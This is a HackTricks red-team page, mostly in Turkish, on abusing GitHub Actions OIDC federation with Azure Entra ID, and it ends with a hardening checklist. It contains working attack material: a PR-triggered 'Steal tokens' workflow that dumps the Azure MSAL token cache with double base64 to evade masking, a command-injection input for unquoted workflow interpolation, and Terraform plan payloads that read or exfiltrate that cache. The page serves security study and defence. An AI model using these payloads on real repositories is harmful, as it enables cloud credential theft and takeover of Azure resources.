Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

GitHub Actions, OpenID Connect (OIDC) kullanarak Azure Entra ID (eski adıyla Azure AD) ile federasyon yapabilir. Bir GitHub workflow’u, çalışmayla ilgili bilgileri kodlayan kısa ömürlü bir GitHub ID token’ı (JWT) talep eder. Azure, bu token’ı bir App Registration (service principal) üzerindeki Federated Identity Credential (FIC) ile doğrular ve bunu Azure access token’larıyla (MSAL cache, Azure API’leri için bearer token’lar) takas eder.

Azure en azından şunları doğrular:

  • iss: https://token.actions.githubusercontent.com
  • aud: api://AzureADTokenExchange (Azure token’larıyla değiş tokuş sırasında)
  • sub: yapılandırılmış FIC Subject identifier ile eşleşmeli

Varsayılan GitHub aud bir GitHub URL’si olabilir. Azure ile takas yaparken, açıkça audience=api://AzureADTokenExchange olarak ayarlayın.

GitHub ID token hızlı PoC

name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0

Token isteğinde Azure audience’ını zorlamak:

OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

Azure setup (Workload Identity Federation)

  1. App Registration (service principal) oluşturun ve en az ayrıcalığı verin (örn. belirli bir storage account üzerinde Storage Blob Data Contributor).

  2. Federated identity credentials ekleyin:

  • Issuer: https://token.actions.githubusercontent.com
  • Audience: api://AzureADTokenExchange
  • Subject identifier: hedeflenen workflow/run bağlamına sıkı şekilde sınırlandırılmalı (aşağıdaki Scoping and risks bölümüne bakın).
  1. GitHub ID token’ını exchange ederek Azure CLI’ye giriş yapmak için azure/login kullanın:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login

Manuel değişim örneği (Graph kapsamı gösterilmiştir; ARM veya diğer kaynaklar benzer şekilde):

POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

GitHub OIDC subject (sub) yapısı ve özelleştirme

Varsayılan sub formatı: repo:/:

Context değerleri şunlardır:

  • environment:
  • pull_request (PR, environment yokken tetiklenir)
  • ref:refs/(heads|tags)/

Payload’da sıklıkla bulunan faydalı claims:

  • repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

Ek claims eklemek ve çakışma riskini azaltmak için sub bileşimini GitHub API üzerinden özelleştirin:

gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'

Not: Ortam adlarındaki iki nokta üst üste (:) URL‑kodlanmıştır (%3A), eski delimiter‑injection hilelerini sub parsing’e karşı kaldırır. Ancak, benzersiz olmayan subject’ler (ör. yalnızca environment:) hâlâ güvensizdir.

FIC subject türlerinin kapsamı ve riskleri

  • Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/
  • Risk: Eğer branch/tag korunmuyorsa, herhangi bir contributor push yapıp tokens elde edebilir.
  • Environment: sub=repo:/:environment:
  • Risk: Korunmayan environment’lar (no reviewers) contributor’ların token mint etmesine izin verir.
  • Pull request: sub=repo:/:pull_request
  • Highest risk: Herhangi bir collaborator PR açabilir ve FIC’i tatmin edebilir.

PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):

name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token

İlgili dosya konumları ve notlar:

  • Linux/macOS: ~/.azure/msal_token_cache.json, az CLI oturumları için MSAL tokens içerir
  • Windows: msal_token_cache.bin kullanıcı profili altında; DPAPI‑protected

Yeniden kullanılabilir iş akışları ve job_workflow_ref kapsamı

Bir yeniden kullanılabilir iş akışı çağrıldığında job_workflow_ref GitHub ID token’a eklenir, örn:

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

Hem caller repo hem de reusable workflow’ü bağlamak için FIC örneği:

sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>

caller repo’da claims yapılandırın, böylece hem repo hem de job_workflow_ref sub içinde mevcut olsun:

PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}

Uyarı: Eğer FIC içinde sadece job_workflow_ref’e bağlarsanız, bir saldırgan aynı org içinde farklı bir repo oluşturup aynı ref üzerinde aynı reusable workflow’u çalıştırarak FIC’i karşılayabilir ve mint tokens. Her zaman caller repo’yu da dahil edin.

job_workflow_ref korumalarını baypas eden kod yürütme vektörleri

Doğru şekilde scope edilmiş job_workflow_ref’e rağmen, shell’e güvenli quoting olmadan ulaşan herhangi bir caller‑controlled veri, korumalı workflow bağlamı içinde kod yürütülmesine yol açabilir.

Örnek zafiyetli reusable step (unquoted interpolation):

- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi

Komutları yürütmek ve Azure token cache’ini sızdırmak için kötü amaçlı çağıran girişi:

with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'

PR’lerde Terraform plan’ını yürütme aracı olarak ele alın

terraform plan’ını code execution olarak değerlendirin. Plan sırasında, terraform şunları yapabilir:

  • file() gibi fonksiyonlar aracılığıyla herhangi dosyaları okuyabilir
  • external data source aracılığıyla komut çalıştırabilir

Plan sırasında Azure token cache’i exfiltrate etmek için örnek:

output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

Veya keyfi komutları çalıştırmak için external kullan:

data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}

Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.

Sertleştirme kontrol listesi

  • Duyarlı FIC’lerde sub=…:pull_request kullanımından kaçının
  • FIC’ler tarafından referans verilen herhangi bir branch/tag/environment’i koruyun (branch protection, environment reviewers)
  • Yeniden kullanılabilir workflows için hem repo hem job_workflow_ref ile sınırlandırılmış FIC’leri tercih edin
  • GitHub OIDC sub’unu benzersiz claim’leri içerecek şekilde özelleştirin (ör. repo, job_workflow_ref, repository_owner)
  • Caller girdilerinin run adımlarına tırnaksız olarak interpolate edilmesini ortadan kaldırın; güvenli şekilde encode/quote edin
  • terraform plan’i kod yürütmesi olarak değerlendirin; PR bağlamlarında kimlikleri kısıtlayın veya izole edin
  • App Registrations üzerinde en az ayrıcalık ilkesini uygulayın; plan ve apply için kimlikleri ayırın
  • Actions ve reusable workflows’u commit SHA’larına sabitleyin (branch/tag pinlerinden kaçının)

Manual testing tips

  • Workflow içinde bir GitHub ID token isteyin ve maskelenmeyi önlemek için base64 olarak yazdırın
  • JWT’yi decode ederek claim’leri inceleyin: iss, aud, sub, job_workflow_ref, repository, ref
  • FIC eşleşmesi ve scopes’ları doğrulamak için ID token’ı manuel olarak login.microsoftonline.com ile değiş tokuş edin
  • azure/login’den sonra token materyali varlığını doğrulamak için ~/.azure/msal_token_cache.json dosyasını okuyun

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin